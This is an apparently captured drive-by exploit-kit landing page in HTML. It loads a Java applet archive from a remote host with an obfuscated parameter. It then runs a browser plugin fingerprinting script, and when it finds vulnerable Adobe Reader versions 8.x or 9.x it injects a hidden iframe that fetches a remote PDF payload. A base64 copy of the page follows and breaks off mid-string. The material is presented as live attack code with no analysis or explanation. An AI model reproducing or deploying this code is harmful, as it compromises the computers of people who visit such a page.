<html><body> <applet archive="http://k...content-available-to-author-only...o.com/33256.jar" code="Ini.class"><param name="hppowndnkgnk" value="g8gjN1aNh9VhCBXC3tdX23Bd.dtgsl2M9B9pC.al1lCN:1/shN1j1/faV8jCaC/1sZk3t/Nk..C1ldd8okgdVsZMMsNaj90fMMiZ8Bh3X83cXNCV18N3hd1Bgkt90kaaZ1h3k2a19kVhtX3.XsBj.lkdd29B.9gV8iMsC9t2B9fC1M.9/8hflZBaX9fhiX3hhftk0os2NkCa/d.2hdCja/hcXXMaf1M2oV9k/9hV/mksl9dtta/gdVVfBt23sM3Mkhj2.lM989M9/hX819312jt.Z3fa3skmhtCXh8gMl"></applet> <script type="text/javascript"> var Saigon={version:"0.7.7",rDate:"04/11/2012",name:"Saigon",handler:function(c,b,a){return function(){c(b,a)}},isDefined:function(b){return typeof b!="undefined"},isArray:function(b){return(/array/i).test(Object.prototype.toString.call(b))},isFunc:function(b){return typeof b=="function"},isString:function(b){return typeof b=="string"},isNum:function(b){return typeof b=="number"},isStrNum:function(b){return(typeof b=="string"&&(/\d/).test(b))},getNumRegx:/[\d][\d\.\_,-]*/,splitNumRegx:/[\.\_,-]/g,getNum:function(b,c){var d=this,a=d.isStrNum(b)?(d.isDefined(c)?new RegExp(c):d.getNumRegx).exec(b):null;return a?a[0]:null},compareNums:function(h,f,d){var e=this,c,b,a,g=parseInt;if(e.isStrNum(h)&&e.isStrNum(f)){if(e.isDefined(d)&&d.compareNums){return d.compareNums(h,f)}c=h.split(e.splitNumRegx);b=f.split(e.splitNumRegx);for(a=0;a<Math.min(c.length,b.length);a++){if(g(c[a],10)>g(b[a],10)){return 1}if(g(c[a],10)<g(b[a],10)){return -1}}}return 0},formatNum:function(b,c){var d=this,a,e;if(!d.isStrNum(b)){return null}if(!d.isNum(c)){c=4}c--;e=b.replace(/\s/g,"").split(d.splitNumRegx).concat(["0","0","0","0"]);for(a=0;a<4;a++){if(/^(0+)(.+)$/.test(e[a])){e[a]=RegExp.$2}if(a>c||!(/\d/).test(e[a])){e[a]="0"}}return e.slice(0,4).join(",")},$$hasMimeType:function(a){return function(c){if(!a.isIE&&c){var f,e,b,d=a.isArray(c)?c:(a.isString(c)?[c]:[]);for(b=0;b<d.length;b++){if(a.isString(d[b])&&/[^\s]/.test(d[b])){f=navigator.mimeTypes[d[b]];e=f?f.enabledPlugin:0;if(e&&(e.name||e.description)){return f}}}}return null}},findNavPlugin:function(l,e,c){var j=this,h=new RegExp(l,"i"),d=(!j.isDefined(e)||e)?/\d/:0,k=c?new RegExp(c,"i"):0,a=navigator.plugins,g="",f,b,m;for(f=0;f<a.length;f++){m=a[f].description||g;b=a[f].name||g;if((h.test(m)&&(!d||d.test(RegExp.leftContext+RegExp.rightContext)))||(h.test(b)&&(!d||d.test(RegExp.leftContext+RegExp.rightContext)))){if(!k||!(k.test(m)||k.test(b))){return a[f]}}}return null},getMimeEnabledPlugin:function(k,m,c){var e=this,f,b=new RegExp(m,"i"),h="",g=c?new RegExp(c,"i"):0,a,l,d,j=e.isString(k)?[k]:k;for(d=0;d<j.length;d++){if((f=e.hasMimeType(j[d]))&&(f=f.enabledPlugin)){l=f.description||h;a=f.name||h;if(b.test(l)||b.test(a)){if(!g||!(g.test(l)||g.test(a))){return f}}}}return 0},getPluginFileVersion:function(f,b){var h=this,e,d,g,a,c=-1;if(h.OS>2||!f||!f.version||!(e=h.getNum(f.version))){return b}if(!b){return e}e=h.formatNum(e);b=h.formatNum(b);d=b.split(h.splitNumRegx);g=e.split(h.splitNumRegx);for(a=0;a<d.length;a++){if(c>-1&&a>c&&d[a]!="0"){return b}if(g[a]!=d[a]){if(c==-1){c=a}if(d[a]!="0"){return b}}}return e},AXO:window.ActiveXObject,getAXO:function(a){var f=null,d,b=this,c={};try{f=new b.AXO(a)}catch(d){}return f},convertFuncs:function(f){var a,g,d,b=/^[$][$]/,c=this;for(a in f){if(b.test(a)){try{g=a.slice(2);if(g.length>0&&!f[g]){f[g]=f[a](f);delete f[a]}}catch(d){}}}},initObj:function(e,b,d){var a,c;if(e){if(e[b[0]]==1||d){for(a=0;a<b.length;a=a+2){e[b[a]]=b[a+1]}}for(a in e){c=e[a];if(c&&c[b[0]]==1){this.initObj(c,b)}}}},initScript:function(){var c=this,a=navigator,e="/",f,i=a.userAgent||"",g=a.vendor||"",b=a.platform||"",h=a.product||"";c.initObj(c,["$",c]);for(f in c.Plugins){if(c.Plugins[f]){c.initObj(c.Plugins[f],["$",c,"$$",c.Plugins[f]],1)}};c.OS=100;if(b){var d=["Win",1,"Mac",2,"Linux",3,"FreeBSD",4,"iPhone",21.1,"iPod",21.2,"iPad",21.3,"Win.*CE",22.1,"Win.*Mobile",22.2,"Pocket\s*PC",22.3,"",100];for(f=d.length-2;f>=0;f=f-2){if(d[f]&&new RegExp(d[f],"i").test(b)){c.OS=d[f+1];break}}}c.convertFuncs(c);c.head=(document.getElementsByTagName("head")[0]||document.getElementsByTagName("body")[0]||document.body||null);c.isIE=(new Function("return "+e+"*@cc_on!@*"+e+"false"))();c.verIE=c.isIE&&(/MSIE\s*(\d+\.?\d*)/i).test(i)?parseFloat(RegExp.$1,10):null;c.ActiveXEnabled=false;if(c.isIE){var f,j=["Msxml2.XMLHTTP","Msxml2.DOMDocument","Microsoft.XMLDOM","ShockwaveFlash.ShockwaveFlash","TDCCtl.TDCCtl","Shell.UIHelper","Scripting.Dictionary","wmplayer.ocx"];for(f=0;f<j.length;f++){if(c.getAXO(j[f])){c.ActiveXEnabled=true;break}}}c.isGecko=(/Gecko/i).test(h)&&(/Gecko\s*\/\s*\d/i).test(i);c.verGecko=c.isGecko?c.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(i)?RegExp.$1:"0.9"):null;c.isChrome=(/Chrome\s*\/\s*(\d[\d\.]*)/i).test(i);c.verChrome=c.isChrome?c.formatNum(RegExp.$1):null;c.isSafari=((/Apple/i).test(g)||(!g&&!c.isChrome))&&(/Safari\s*\/\s*(\d[\d\.]*)/i).test(i);c.verSafari=c.isSafari&&(/Version\s*\/\s*(\d[\d\.]*)/i).test(i)?c.formatNum(RegExp.$1):null;c.isOpera=(/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(i);c.verOpera=c.isOpera&&((/Version\s*\/\s*(\d+\.?\d*)/i).test(i)||1)?parseFloat(RegExp.$1,10):null;c.addWinEvent("load",c.handler(c.runWLfuncs,c))},init:function(d){var c=this,b,d,a={status:-3,plugin:0};if(!c.isString(d)){return a}if(d.length==1){c.getVersionDelimiter=d;return a}d=d.toLowerCase().replace(/\s/g,"");b=c.Plugins[d];if(!b||!b.getVersion){return a}a.plugin=b;if(!c.isDefined(b.installed)){b.installed=null;b.version=null;b.version0=null;b.getVersionDone=null;b.pluginName=d}c.garbage=false;if(c.isIE&&!c.ActiveXEnabled&&d!=="java"){a.status=-2;return a}a.status=1;return a},fPush:function(b,a){var c=this;if(c.isArray(a)&&(c.isFunc(b)||(c.isArray(b)&&b.length>0&&c.isFunc(b[0])))){a.push(b)}},callArray:function(b){var c=this,a;if(c.isArray(b)){for(a=0;a<b.length;a++){if(b[a]===null){return}c.call(b[a]);b[a]=null}}},call:function(c){var b=this,a=b.isArray(c)?c.length:-1;if(a>0&&b.isFunc(c[0])){c[0](b,a>1?c[1]:0,a>2?c[2]:0,a>3?c[3]:0)}else{if(b.isFunc(c)){c(b)}}},getVersionDelimiter:",",$$getVersion:function(a){return function(g,d,c){var e=a.init(g),f,b,h={};if(e.status<0){return null};f=e.plugin;if(f.getVersionDone!=1){f.getVersion(null,d,c);if(f.getVersionDone===null){f.getVersionDone=1}}a.cleanup();b=(f.version||f.version0);b=b?b.replace(a.splitNumRegx,a.getVersionDelimiter):b;return b}},cleanup:function(){},addWinEvent:function(d,c){var e=this,a=window,b;if(e.isFunc(c)){if(a.addEventListener){a.addEventListener(d,c,false)}else{if(a.attachEvent){a.attachEvent("on"+d,c)}else{b=a["on"+d];a["on"+d]=e.winHandler(c,b)}}}},winHandler:function(d,c){return function(){d();if(typeof c=="function"){c()}}},WLfuncs0:[],WLfuncs:[],runWLfuncs:function(a){var b={};a.winLoaded=true;a.callArray(a.WLfuncs0);a.callArray(a.WLfuncs);if(a.onDoneEmptyDiv){a.onDoneEmptyDiv()}},winLoaded:false,$$onWindowLoaded:function(a){return function(b){if(a.winLoaded){a.call(b)}else{a.fPush(b,a.WLfuncs)}}},div:null,divID:"Saigon",divWidth:50,pluginSize:1,emptyDiv:function(){var d=this,b,h,c,a,f,g;if(d.div&&d.div.childNodes){for(b=d.div.childNodes.length-1;b>=0;b--){c=d.div.childNodes[b];if(c&&c.childNodes){for(h=c.childNodes.length-1;h>=0;h--){g=c.childNodes[h];try{c.removeChild(g)}catch(f){}}}if(c){try{d.div.removeChild(c)}catch(f){}}}}if(!d.div){a=document.getElementById(d.divID);if(a){d.div=a}}if(d.div&&d.div.parentNode){try{d.div.parentNode.removeChild(d.div)}catch(f){}d.div=null}},DONEfuncs:[],onDoneEmptyDiv:function(){var c=this,a,b;if(!c.winLoaded){return}if(c.WLfuncs&&c.WLfuncs.length&&c.WLfuncs[c.WLfuncs.length-1]!==null){return}for(a in c){b=c[a];if(b&&b.funcs){if(b.OTF==3){return}if(b.funcs.length&&b.funcs[b.funcs.length-1]!==null){return}}}for(a=0;a<c.DONEfuncs.length;a++){c.callArray(c.DONEfuncs)}c.emptyDiv()},getWidth:function(c){if(c){var a=c.scrollWidth||c.offsetWidth,b=this;if(b.isNum(a)){return a}}return -1},getTagStatus:function(m,g,a,b){var c=this,f,k=m.span,l=c.getWidth(k),h=a.span,j=c.getWidth(h),d=g.span,i=c.getWidth(d);if(!k||!h||!d||!c.getDOMobj(m)){return -2}if(j<i||l<0||j<0||i<0||i<=c.pluginSize||c.pluginSize<1){return 0}if(l>=i){return -1}try{if(l==c.pluginSize&&(!c.isIE||c.getDOMobj(m).readyState==4)){if(!m.winLoaded&&c.winLoaded){return 1}if(m.winLoaded&&c.isNum(b)){if(!c.isNum(m.count)){m.count=b}if(b-m.count>=10){return 1}}}}catch(f){}return 0},getDOMobj:function(g,a){var f,d=this,c=g?g.span:0,b=c&&c.firstChild?1:0;try{if(b&&a){d.div.focus()}}catch(f){}return b?c.firstChild:null},setStyle:function(b,g){var f=b.style,a,d,c=this;if(f&&g){for(a=0;a<g.length;a=a+2){try{f[g[a]]=g[a+1]}catch(d){}}}},insertDivInBody:function(a,i){var h,f=this,b="pd33993399",d=null,j=i?window.top.document:window.document,c="<",g=(j.getElementsByTagName("body")[0]||j.body);if(!g){try{j.write(c+'div id="'+b+'">o'+c+"/div>");d=j.getElementById(b)}catch(h){}}g=(j.getElementsByTagName("body")[0]||j.body);if(g){if(g.firstChild&&f.isDefined(g.insertBefore)){g.insertBefore(a,g.firstChild)}else{g.appendChild(a)}if(d){g.removeChild(d)}}else{}},insertHTML:function(g,b,h,a,l){var m,n=document,k=this,q,p=n.createElement("span"),o,j,f="<";var c=["outlineStyle","none","borderStyle","none","padding","0px","margin","0px","visibility","visible"];var i="outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;";if(!k.isDefined(a)){a=""}if(k.isString(g)&&(/[^\s]/).test(g)){g=g.toLowerCase().replace(/\s/g,"");q=f+g+' width="'+k.pluginSize+'" height="'+k.pluginSize+'" ';q+='style="'+i+'display:inline;" ';for(o=0;o<b.length;o=o+2){if(/[^\s]/.test(b[o+1])){q+=b[o]+'="'+b[o+1]+'" '}}q+=">";for(o=0;o<h.length;o=o+2){if(/[^\s]/.test(h[o+1])){q+=f+'param name="'+h[o]+'" value="'+h[o+1]+'" />'}}q+=a+f+"/"+g+">"}else{q=a}if(!k.div){j=n.getElementById(k.divID);if(j){k.div=j}else{k.div=n.createElement("div");k.div.id=k.divID}k.setStyle(k.div,c.concat(["width",k.divWidth+"px","height",(k.pluginSize+3)+"px","fontSize",(k.pluginSize+3)+"px","lineHeight",(k.pluginSize+3)+"px","verticalAlign","baseline","display","block"]));if(!j){k.setStyle(k.div,["position","absolute","right","0px","top","0px"]);k.insertDivInBody(k.div)}}if(k.div&&k.div.parentNode){k.setStyle(p,c.concat(["fontSize",(k.pluginSize+3)+"px","lineHeight",(k.pluginSize+3)+"px","verticalAlign","baseline","display","inline"]));try{p.innerHTML=q}catch(m){};try{k.div.appendChild(p)}catch(m){};return{span:p,winLoaded:k.winLoaded,tagName:g,outerHTML:q}}return{span:null,winLoaded:k.winLoaded,tagName:"",outerHTML:q}},Plugins:{adobereader:{mimeType:"application/pdf",navPluginObj:null,progID:["AcroPDF.PDF","PDF.PdfCtrl"],classID:"clsid:CA8A9780-280D-11CF-A24D-444553540000",INSTALLED:{},pluginHasMimeType:function(d,c,f){var b=this,e=b.$,a;for(a in d){if(d[a]&&d[a].type&&d[a].type==c){return 1}}if(e.getMimeEnabledPlugin(c,f)){return 1}return 0},getVersion:function(l,j){var g=this,d=g.$,i,f,m,n,b=null,h=null,k=g.mimeType,a,c;if(d.isString(j)){j=j.replace(/\s/g,"");if(j){k=j}}else{j=null}if(d.isDefined(g.INSTALLED[k])){g.installed=g.INSTALLED[k];return}if(!d.isIE){a="Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";if(g.getVersionDone!==0){g.getVersionDone=0;b=d.getMimeEnabledPlugin(g.mimeType,a);if(!j){n=b}if(!b&&d.hasMimeType(g.mimeType)){b=d.findNavPlugin(a,0)}if(b){g.navPluginObj=b;h=d.getNum(b.description)||d.getNum(b.name);h=d.getPluginFileVersion(b,h);if(!h&&d.OS==1){if(g.pluginHasMimeType(b,"application/vnd.adobe.pdfxml",a)){h="9"}else{if(g.pluginHasMimeType(b,"application/vnd.adobe.x-mars",a)){h="8"}}}}}else{h=g.version}if(!d.isDefined(n)){n=d.getMimeEnabledPlugin(k,a)}g.installed=n&&h?1:(n?0:(g.navPluginObj?-0.2:-1))}else{b=d.getAXO(g.progID[0])||d.getAXO(g.progID[1]);c=/=\s*([\d\.]+)/g;try{f=(b||d.getDOMobj(d.insertHTML("object",["classid",g.classID],["src",""],"",g))).GetVersions();for(m=0;m<5;m++){if(c.test(f)&&(!h||RegExp.$1>h)){h=RegExp.$1}}}catch(i){}g.installed=h?1:(b?0:-1)}if(!g.version){g.version=d.formatNum(h)}g.INSTALLED[k]=g.installed}},zz:0}};
Saigon.initScript();
llllmg=Saigon.getVersion("AdobeReader");
if(llllmg)
{
llllmg=llllmg.split(',');
var attw = document.createElement("div");
yapa = "<iframe width='80' height='80' src='http://k...content-available-to-author-only...o.com/98765.pdf' frameborder='0' scrolling='no'></iframe>";
if ((llllmg[0]==8 && llllmg[1]<=2)||(llllmg[0]==9 && llllmg[1]<=3))
{
attw.innerHTML = yapa;
document.body.appendChild(attw);
}
}
</script></body></html>
PGh0bWw+PGJvZHk+IDxhcHBsZXQgYXJjaGl2ZT0iaHR0cDovL2suLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLm8uY29tLzMzMjU2LmphciIgY29kZT0iSSYjMTEwO2kuY2wmIzk3O3NzIj48cGFyYW0gbmFtZT0iaHBwb3duZG5rZ25rIiB2YWx1ZT0iZzhnak4xYU5oOVZoQ0JYQzN0ZFgyM0JkLmR0Z3NsMk05QjlwQy5hbDFsQ046MS9zaE4xajEvZmFWOGpDYUMvMXNaazN0L05rLi5DMWxkZDhva2dkVnNaTU1zTmFqOTBmTU1pWjhCaDNYODNjWE5DVjE4TjNoZDFCZ2t0OTBrYWFaMWgzazJhMTlrVmh0WDMuWHNCai5sa2RkMjlCLjlnVjhpTXNDOXQyQjlmQzFNLjkvOGhmbFpCYVg5ZmhpWDNoaGZ0azBvczJOa0NhL2QuMmhkQ2phL2hjWFhNYWYxTTJvVjlrLzloVi9ta3NsOWR0dGEvZ2RWVmZCdDIzc00zTWtoajIubE05ODlNOS9oWDgxOTMxMmp0LlozZmEzc2ttaHRDWGg4Z01sIj48L2FwcGxldD4gPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgkJCXZhciBTYWlnb249e3ZlcnNpb246IjAuNy43IixyRGF0ZToiMDQvMTEvMjAxMiIsbmFtZToiU2FpZ29uIixoYW5kbGVyOmZ1bmN0aW9uKGMsYixhKXtyZXR1cm4gZnVuY3Rpb24oKXtjKGIsYSl9fSxpc0RlZmluZWQ6ZnVuY3Rpb24oYil7cmV0dXJuIHR5cGVvZiBiIT0idW5kZWZpbmVkIn0saXNBcnJheTpmdW5jdGlvbihiKXtyZXR1cm4oL2FycmF5L2kpLnRlc3QoT2JqZWN0LnByb3RvdHlwZS50b1N0cmluZy5jYWxsKGIpKX0saXNGdW5jOmZ1bmN0aW9uKGIpe3JldHVybiB0eXBlb2YgYj09ImZ1bmN0aW9uIn0saXNTdHJpbmc6ZnVuY3Rpb24oYil7cmV0dXJuIHR5cGVvZiBiPT0ic3RyaW5nIn0saXNOdW06ZnVuY3Rpb24oYil7cmV0dXJuIHR5cGVvZiBiPT0ibnVtYmVyIn0saXNTdHJOdW06ZnVuY3Rpb24oYil7cmV0dXJuKHR5cGVvZiBiPT0ic3RyaW5nIiYmKC9cZC8pLnRlc3QoYikpfSxnZXROdW1SZWd4Oi9bXGRdW1xkXC5cXywtXSovLHNwbGl0TnVtUmVneDovW1wuXF8sLV0vZyxnZXROdW06ZnVuY3Rpb24oYixjKXt2YXIgZD10aGlzLGE9ZC5pc1N0ck51bShiKT8oZC5pc0RlZmluZWQoYyk/bmV3IFJlZ0V4cChjKTpkLmdldE51bVJlZ3gpLmV4ZWMoYik6bnVsbDtyZXR1cm4gYT9hWzBdOm51bGx9LGNvbXBhcmVOdW1zOmZ1bmN0aW9uKGgsZixkKXt2YXIgZT10aGlzLGMsYixhLGc9cGFyc2VJbnQ7aWYoZS5pc1N0ck51bShoKSYmZS5pc1N0ck51bShmKSl7aWYoZS5pc0RlZmluZWQoZCkmJmQuY29tcGFyZU51bXMpe3JldHVybiBkLmNvbXBhcmVOdW1zKGgsZil9Yz1oLnNwbGl0KGUuc3BsaXROdW1SZWd4KTtiPWYuc3BsaXQoZS5zcGxpdE51bVJlZ3gpO2ZvcihhPTA7YTxNYXRoLm1pbihjLmxlbmd0aCxiLmxlbmd0aCk7YSsrKXtpZihnKGNbYV0sMTApPmcoYlthXSwxMCkpe3JldHVybiAxfWlmKGcoY1thXSwxMCk8ZyhiW2FdLDEwKSl7cmV0dXJuIC0xfX19cmV0dXJuIDB9LGZvcm1hdE51bTpmdW5jdGlvbihiLGMpe3ZhciBkPXRoaXMsYSxlO2lmKCFkLmlzU3RyTnVtKGIpKXtyZXR1cm4gbnVsbH1pZighZC5pc051bShjKSl7Yz00fWMtLTtlPWIucmVwbGFjZSgvXHMvZywiIikuc3BsaXQoZC5zcGxpdE51bVJlZ3gpLmNvbmNhdChbIjAiLCIwIiwiMCIsIjAiXSk7Zm9yKGE9MDthPDQ7YSsrKXtpZigvXigwKykoLispJC8udGVzdChlW2FdKSl7ZVthXT1SZWdFeHAuJDJ9aWYoYT5jfHwhKC9cZC8pLnRlc3QoZVthXSkpe2VbYV09IjAifX1yZXR1cm4gZS5zbGljZSgwLDQpLmpvaW4oIiwiKX0sJCRoYXNNaW1lVHlwZTpmdW5jdGlvbihhKXtyZXR1cm4gZnVuY3Rpb24oYyl7aWYoIWEuaXNJRSYmYyl7dmFyIGYsZSxiLGQ9YS5pc0FycmF5KGMpP2M6KGEuaXNTdHJpbmcoYyk/W2NdOltdKTtmb3IoYj0wO2I8ZC5sZW5ndGg7YisrKXtpZihhLmlzU3RyaW5nKGRbYl0pJiYvW15cc10vLnRlc3QoZFtiXSkpe2Y9bmF2aWdhdG9yLm1pbWVUeXBlc1tkW2JdXTtlPWY/Zi5lbmFibGVkUGx1Z2luOjA7aWYoZSYmKGUubmFtZXx8ZS5kZXNjcmlwdGlvbikpe3JldHVybiBmfX19fXJldHVybiBudWxsfX0sZmluZE5hdlBsdWdpbjpmdW5jdGlvbihsLGUsYyl7dmFyIGo9dGhpcyxoPW5ldyBSZWdFeHAobCwiaSIpLGQ9KCFqLmlzRGVmaW5lZChlKXx8ZSk/L1xkLzowLGs9Yz9uZXcgUmVnRXhwKGMsImkiKTowLGE9bmF2aWdhdG9yLnBsdWdpbnMsZz0iIixmLGIsbTtmb3IoZj0wO2Y8YS5sZW5ndGg7ZisrKXttPWFbZl0uZGVzY3JpcHRpb258fGc7Yj1hW2ZdLm5hbWV8fGc7aWYoKGgudGVzdChtKSYmKCFkfHxkLnRlc3QoUmVnRXhwLmxlZnRDb250ZXh0K1JlZ0V4cC5yaWdodENvbnRleHQpKSl8fChoLnRlc3QoYikmJighZHx8ZC50ZXN0KFJlZ0V4cC5sZWZ0Q29udGV4dCtSZWdFeHAucmlnaHRDb250ZXh0KSkpKXtpZigha3x8IShrLnRlc3QobSl8fGsudGVzdChiKSkpe3JldHVybiBhW2ZdfX19cmV0dXJuIG51bGx9LGdldE1pbWVFbmFibGVkUGx1Z2luOmZ1bmN0aW9uKGssbSxjKXt2YXIgZT10aGlzLGYsYj1uZXcgUmVnRXhwKG0sImkiKSxoPSIiLGc9Yz9uZXcgUmVnRXhwKGMsImkiKTowLGEsbCxkLGo9ZS5pc1N0cmluZyhrKT9ba106aztmb3IoZD0wO2Q8ai5sZW5ndGg7ZCsrKXtpZigoZj1lLmhhc01pbWVUeXBlKGpbZF0pKSYmKGY9Zi5lbmFibGVkUGx1Z2luKSl7bD1mLmRlc2NyaXB0aW9ufHxoO2E9Zi5uYW1lfHxoO2lmKGIudGVzdChsKXx8Yi50ZXN0KGEpKXtpZighZ3x8IShnLnRlc3QobCl8fGcudGVzdChhKSkpe3JldHVybiBmfX19fXJldHVybiAwfSxnZXRQbHVnaW5GaWxlVmVyc2lvbjpmdW5jdGlvbihmLGIpe3ZhciBoPXRoaXMsZSxkLGcsYSxjPS0xO2lmKGguT1M+Mnx8IWZ8fCFmLnZlcnNpb258fCEoZT1oLmdldE51bShmLnZlcnNpb24pKSl7cmV0dXJuIGJ9aWYoIWIpe3JldHVybiBlfWU9aC5mb3JtYXROdW0oZSk7Yj1oLmZvcm1hdE51bShiKTtkPWIuc3BsaXQoaC5zcGxpdE51bVJlZ3gpO2c9ZS5zcGxpdChoLnNwbGl0TnVtUmVneCk7Zm9yKGE9MDthPGQubGVuZ3RoO2ErKyl7aWYoYz4tMSYmYT5jJiZkW2FdIT0iMCIpe3JldHVybiBifWlmKGdbYV0hPWRbYV0pe2lmKGM9PS0xKXtjPWF9aWYoZFthXSE9IjAiKXtyZXR1cm4gYn19fXJldHVybiBlfSxBWE86d2luZG93LkFjdGl2ZVhPYmplY3QsZ2V0QVhPOmZ1bmN0aW9uKGEpe3ZhciBmPW51bGwsZCxiPXRoaXMsYz17fTt0cnl7Zj1uZXcgYi5BWE8oYSl9Y2F0Y2goZCl7fXJldHVybiBmfSxjb252ZXJ0RnVuY3M6ZnVuY3Rpb24oZil7dmFyIGEsZyxkLGI9L15bJF1bJF0vLGM9dGhpcztmb3IoYSBpbiBmKXtpZihiLnRlc3QoYSkpe3RyeXtnPWEuc2xpY2UoMik7aWYoZy5sZW5ndGg+MCYmIWZbZ10pe2ZbZ109ZlthXShmKTtkZWxldGUgZlthXX19Y2F0Y2goZCl7fX19fSxpbml0T2JqOmZ1bmN0aW9uKGUsYixkKXt2YXIgYSxjO2lmKGUpe2lmKGVbYlswXV09PTF8fGQpe2ZvcihhPTA7YTxiLmxlbmd0aDthPWErMil7ZVtiW2FdXT1iW2ErMV19fWZvcihhIGluIGUpe2M9ZVthXTtpZihjJiZjW2JbMF1dPT0xKXt0aGlzLmluaXRPYmooYyxiKX19fX0saW5pdFNjcmlwdDpmdW5jdGlvbigpe3ZhciBjPXRoaXMsYT1uYXZpZ2F0b3IsZT0iLyIsZixpPWEudXNlckFnZW50fHwiIixnPWEudmVuZG9yfHwiIixiPWEucGxhdGZvcm18fCIiLGg9YS5wcm9kdWN0fHwiIjtjLmluaXRPYmooYyxbIiQiLGNdKTtmb3IoZiBpbiBjLlBsdWdpbnMpe2lmKGMuUGx1Z2luc1tmXSl7Yy5pbml0T2JqKGMuUGx1Z2luc1tmXSxbIiQiLGMsIiQkIixjLlBsdWdpbnNbZl1dLDEpfX07Yy5PUz0xMDA7aWYoYil7dmFyIGQ9WyJXaW4iLDEsIk1hYyIsMiwiTGludXgiLDMsIkZyZWVCU0QiLDQsImlQaG9uZSIsMjEuMSwiaVBvZCIsMjEuMiwiaVBhZCIsMjEuMywiV2luLipDRSIsMjIuMSwiV2luLipNb2JpbGUiLDIyLjIsIlBvY2tldFxzKlBDIiwyMi4zLCIiLDEwMF07Zm9yKGY9ZC5sZW5ndGgtMjtmPj0wO2Y9Zi0yKXtpZihkW2ZdJiZuZXcgUmVnRXhwKGRbZl0sImkiKS50ZXN0KGIpKXtjLk9TPWRbZisxXTticmVha319fWMuY29udmVydEZ1bmNzKGMpO2MuaGVhZD0oZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImhlYWQiKVswXXx8ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImJvZHkiKVswXXx8ZG9jdW1lbnQuYm9keXx8bnVsbCk7Yy5pc0lFPShuZXcgRnVuY3Rpb24oInJldHVybiAiK2UrIipAY2Nfb24hQCoiK2UrImZhbHNlIikpKCk7Yy52ZXJJRT1jLmlzSUUmJigvTVNJRVxzKihcZCtcLj9cZCopL2kpLnRlc3QoaSk/cGFyc2VGbG9hdChSZWdFeHAuJDEsMTApOm51bGw7Yy5BY3RpdmVYRW5hYmxlZD1mYWxzZTtpZihjLmlzSUUpe3ZhciBmLGo9WyJNc3htbDIuWE1MSFRUUCIsIk1zeG1sMi5ET01Eb2N1bWVudCIsIk1pY3Jvc29mdC5YTUxET00iLCJTaG9ja3dhdmVGbGFzaC5TaG9ja3dhdmVGbGFzaCIsIlREQ0N0bC5URENDdGwiLCJTaGVsbC5VSUhlbHBlciIsIlNjcmlwdGluZy5EaWN0aW9uYXJ5Iiwid21wbGF5ZXIub2N4Il07Zm9yKGY9MDtmPGoubGVuZ3RoO2YrKyl7aWYoYy5nZXRBWE8oaltmXSkpe2MuQWN0aXZlWEVuYWJsZWQ9dHJ1ZTticmVha319fWMuaXNHZWNrbz0oL0dlY2tvL2kpLnRlc3QoaCkmJigvR2Vja29ccypcL1xzKlxkL2kpLnRlc3QoaSk7Yy52ZXJHZWNrbz1jLmlzR2Vja28/Yy5mb3JtYXROdW0oKC9ydlxzKlw6XHMqKFtcLlwsXGRdKykvaSkudGVzdChpKT9SZWdFeHAuJDE6IjAuOSIpOm51bGw7Yy5pc0Nocm9tZT0oL0Nocm9tZVxzKlwvXHMqKFxkW1xkXC5dKikvaSkudGVzdChpKTtjLnZlckNocm9tZT1jLmlzQ2hyb21lP2MuZm9ybWF0TnVtKFJlZ0V4cC4kMSk6bnVsbDtjLmlzU2FmYXJpPSgoL0FwcGxlL2kpLnRlc3QoZyl8fCghZyYmIWMuaXNDaHJvbWUpKSYmKC9TYWZhcmlccypcL1xzKihcZFtcZFwuXSopL2kpLnRlc3QoaSk7Yy52ZXJTYWZhcmk9Yy5pc1NhZmFyaSYmKC9WZXJzaW9uXHMqXC9ccyooXGRbXGRcLl0qKS9pKS50ZXN0KGkpP2MuZm9ybWF0TnVtKFJlZ0V4cC4kMSk6bnVsbDtjLmlzT3BlcmE9KC9PcGVyYVxzKltcL10/XHMqKFxkK1wuP1xkKikvaSkudGVzdChpKTtjLnZlck9wZXJhPWMuaXNPcGVyYSYmKCgvVmVyc2lvblxzKlwvXHMqKFxkK1wuP1xkKikvaSkudGVzdChpKXx8MSk/cGFyc2VGbG9hdChSZWdFeHAuJDEsMTApOm51bGw7Yy5hZGRXaW5FdmVudCgibG9hZCIsYy5oYW5kbGVyKGMucnVuV0xmdW5jcyxjKSl9LGluaXQ6ZnVuY3Rpb24oZCl7dmFyIGM9dGhpcyxiLGQsYT17c3RhdHVzOi0zLHBsdWdpbjowfTtpZighYy5pc1N0cmluZyhkKSl7cmV0dXJuIGF9aWYoZC5sZW5ndGg9PTEpe2MuZ2V0VmVyc2lvbkRlbGltaXRlcj1kO3JldHVybiBhfWQ9ZC50b0xvd2VyQ2FzZSgpLnJlcGxhY2UoL1xzL2csIiIpO2I9Yy5QbHVnaW5zW2RdO2lmKCFifHwhYi5nZXRWZXJzaW9uKXtyZXR1cm4gYX1hLnBsdWdpbj1iO2lmKCFjLmlzRGVmaW5lZChiLmluc3RhbGxlZCkpe2IuaW5zdGFsbGVkPW51bGw7Yi52ZXJzaW9uPW51bGw7Yi52ZXJzaW9uMD1udWxsO2IuZ2V0VmVyc2lvbkRvbmU9bnVsbDtiLnBsdWdpbk5hbWU9ZH1jLmdhcmJhZ2U9ZmFsc2U7aWYoYy5pc0lFJiYhYy5BY3RpdmVYRW5hYmxlZCYmZCE9PSJqYXZhIil7YS5zdGF0dXM9LTI7cmV0dXJuIGF9YS5zdGF0dXM9MTtyZXR1cm4gYX0sZlB1c2g6ZnVuY3Rpb24oYixhKXt2YXIgYz10aGlzO2lmKGMuaXNBcnJheShhKSYmKGMuaXNGdW5jKGIpfHwoYy5pc0FycmF5KGIpJiZiLmxlbmd0aD4wJiZjLmlzRnVuYyhiWzBdKSkpKXthLnB1c2goYil9fSxjYWxsQXJyYXk6ZnVuY3Rpb24oYil7dmFyIGM9dGhpcyxhO2lmKGMuaXNBcnJheShiKSl7Zm9yKGE9MDthPGIubGVuZ3RoO2ErKyl7aWYoYlthXT09PW51bGwpe3JldHVybn1jLmNhbGwoYlthXSk7YlthXT1udWxsfX19LGNhbGw6ZnVuY3Rp